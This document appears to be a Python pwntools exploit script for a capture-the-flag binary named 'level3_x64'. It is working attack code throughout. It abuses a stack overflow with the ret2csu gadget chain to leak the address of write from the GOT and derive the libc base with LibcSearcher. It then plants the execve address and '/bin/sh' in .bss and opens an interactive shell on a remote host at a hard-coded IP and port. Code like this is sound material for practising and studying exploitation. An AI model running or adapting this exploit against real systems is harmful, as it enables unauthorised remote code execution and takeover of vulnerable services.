#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *

context.log_level = "debug"

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = cyclic(offset)
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += cyclic(0x38)
    payload += p64(last)
    io.send(payload)
    sleep(1)

io = remote("47.116.107.8", 9883)
elf = ELF("./level3_x64")
offset = 0x80 + 0x08
csu_front_addr = 0x0000000000400690
csu_end_addr = 0x00000000004006AA
write_got = elf.got['write']
vuln = elf.symbols['vulnerable_function']

# Payload1: get write@got content
io.recvuntil("Input:\n")
# write(1, write@got, 8)
csu(0, 1, write_got, 8, write_got, 1, vuln)
write_addr = u64(io.recv(8))
log.success(f"write@got: {write_addr}")

# Payload2: get libc version
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
log.success(f"libc base: {libc_base}")

system_addr = libc_base + libc.dump("system")
str_bin_sh = libc_base + libc.dump("str_bin_sh")
log.success(f"system address: {system_addr}\nstring /bin/sh: {str_bin_sh}")

# read(0, bss_base, 16) | send: execv_addr /bin/sh\x00
execve_addr = libc_base + libc.dump('execve')
bss_base = elf.bss()
read_got = elf.got['read']
csu(0, 1, read_got, 16, bss_base, 0, vuln)
io.send(p64(execve_addr) + b"/bin/sh\x00")
io.recv()

# execve("/bin/sh")
csu(0, 1, bss_base, 0, 0, bss_base+8, vuln)
io.recv()
io.interactive()
